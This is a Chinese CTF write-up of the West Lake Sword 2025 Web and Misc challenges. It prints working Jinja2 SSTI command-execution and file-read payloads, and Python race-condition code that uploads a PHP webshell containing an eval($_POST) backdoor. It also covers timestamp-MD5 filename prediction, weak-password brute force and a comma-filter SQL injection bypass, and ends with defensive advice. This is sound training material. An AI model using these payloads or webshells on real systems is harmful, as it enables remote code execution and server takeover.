西湖论剑2025 Web&Misc解析
字数 1118 2025-08-22 12:23:12

西湖论剑2025 Web&Misc解析 - 详细教学文档

Web1 - 命令执行绕过

1. SSTI (Server-Side Template Injection) 利用

攻击向量:

{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')("cd+..%26%26cd+..%26%26cd+..%26%26ls")|attr('read')()}}

技术解析:

  1. lipsum 是Jinja2模板中的一个内置函数
  2. |attr() 过滤器用于访问对象的属性
  3. 通过链式调用访问 __globals__ 字典获取 os 模块
  4. 使用 popen() 执行系统命令
  5. URL编码的命令:cd .. && cd .. && cd .. && ls 用于遍历目录

2. 文件读取技巧

攻击向量:

{{x.__init__.__globals__['__builtins__'].open('\x2f\x66\x6c\x61\x67\x66\x31\x34\x39', 'r').read()}}

技术解析:

  1. 通过对象的 __init__ 方法访问 __globals__
  2. 获取 __builtins__ 中的 open 函数
  3. 使用十六进制编码绕过可能的过滤:\x2f\x66\x6c\x61\x67\x66\x31\x34\x39 = /flagf149
  4. 直接读取文件内容

Web2 - 文件上传与条件竞争

1. 初始访问

  • 爆破弱密码成功:admin/year2000
  • 可以上传PHP文件但访问不到(后端自动删除)

2. 时间戳MD5预测攻击

攻击原理:

  1. 后端使用时间戳的MD5作为文件名
  2. 上传文件获取临时文件名
  3. 爆破时间戳范围计算MD5匹配

关键代码:

start = int(time.time())
# 上传文件获取tmpmd5
for i in range(start-3000, end+3000):
    md5_hash = hashlib.md5(str(i).encode()).hexdigest()
    if md5_hash == tmpmd5:
        print(i)  # 找到正确的时间戳

3. 条件竞争绕过

多线程攻击策略:

  1. 一个线程不断上传webshell
  2. 另一个线程不断尝试访问上传的文件
  3. 利用时间差在文件被删除前访问

关键代码:

def getfile():
    while True:
        res = session.get(url + filename)
        if "321321" in res.text:  # 检测webshell是否成功执行
            print("ok")
            return

def uploadfile():
    while True:
        res = session.post(burp0_url, data=burp0_data)
        filename = re.findall(r"/Uploads/.*/(.*)<", res.text)[0]

# 启动50个线程
for _ in range(50):
    threading.Thread(target=uploadfile).start()
    threading.Thread(target=getfile).start()

最终webshell:

<?php file_put_contents('/var/www/html/admin/Uploads/.../shell.php','<?php eval($_POST[1]);');echo 321321;?>

4. 绕过disable_functions

  • 使用蚁剑插件绕过PHP的禁用函数限制

Web3 - SQL注入绕过

1. 题目特点

  • 源码中使用了String.prototype.replace()过滤逗号

2. 绕过技术

  • 利用分开传参绕过逗号限制
  • 利用JavaScript字符串替换的特性构造payload

Misc - easydatalog

1. 流量分析

  • 数据包中包含加密的蚁剑流量
  • 需要解密分析

2. 密码破解

  • 存在password.jpg文件但密码未知
  • 尝试傅里叶频域变换分析图片隐写

防御建议

针对Web1

  1. 禁用或严格过滤模板引擎中的危险函数
  2. 实施严格的输入验证和输出编码
  3. 限制模板中可以访问的对象和方法

针对Web2

  1. 使用强密码策略
  2. 文件上传采用不可预测的命名方案
  3. 实施文件内容检查而非仅依赖扩展名
  4. 考虑使用单独的服务处理文件上传

针对Web3

  1. 使用参数化查询而非字符串拼接
  2. 实施最小权限原则
  3. 对输入进行严格类型检查和过滤

针对Misc

  1. 加密流量使用强加密算法
  2. 避免在图片中存储敏感信息
  3. 实施完善的密钥管理策略
西湖论剑2025 Web&Misc解析 - 详细教学文档 Web1 - 命令执行绕过 1. SSTI (Server-Side Template Injection) 利用 攻击向量 : 技术解析 : lipsum 是Jinja2模板中的一个内置函数 |attr() 过滤器用于访问对象的属性 通过链式调用访问 __globals__ 字典获取 os 模块 使用 popen() 执行系统命令 URL编码的命令: cd .. && cd .. && cd .. && ls 用于遍历目录 2. 文件读取技巧 攻击向量 : 技术解析 : 通过对象的 __init__ 方法访问 __globals__ 获取 __builtins__ 中的 open 函数 使用十六进制编码绕过可能的过滤: \x2f\x66\x6c\x61\x67\x66\x31\x34\x39 = /flagf149 直接读取文件内容 Web2 - 文件上传与条件竞争 1. 初始访问 爆破弱密码成功: admin/year2000 可以上传PHP文件但访问不到(后端自动删除) 2. 时间戳MD5预测攻击 攻击原理 : 后端使用时间戳的MD5作为文件名 上传文件获取临时文件名 爆破时间戳范围计算MD5匹配 关键代码 : 3. 条件竞争绕过 多线程攻击策略 : 一个线程不断上传webshell 另一个线程不断尝试访问上传的文件 利用时间差在文件被删除前访问 关键代码 : 最终webshell : 4. 绕过disable_ functions 使用蚁剑插件绕过PHP的禁用函数限制 Web3 - SQL注入绕过 1. 题目特点 源码中使用了 String.prototype.replace() 过滤逗号 2. 绕过技术 利用分开传参绕过逗号限制 利用JavaScript字符串替换的特性构造payload Misc - easydatalog 1. 流量分析 数据包中包含加密的蚁剑流量 需要解密分析 2. 密码破解 存在password.jpg文件但密码未知 尝试傅里叶频域变换分析图片隐写 防御建议 针对Web1 禁用或严格过滤模板引擎中的危险函数 实施严格的输入验证和输出编码 限制模板中可以访问的对象和方法 针对Web2 使用强密码策略 文件上传采用不可预测的命名方案 实施文件内容检查而非仅依赖扩展名 考虑使用单独的服务处理文件上传 针对Web3 使用参数化查询而非字符串拼接 实施最小权限原则 对输入进行严格类型检查和过滤 针对Misc 加密流量使用强加密算法 避免在图片中存储敏感信息 实施完善的密钥管理策略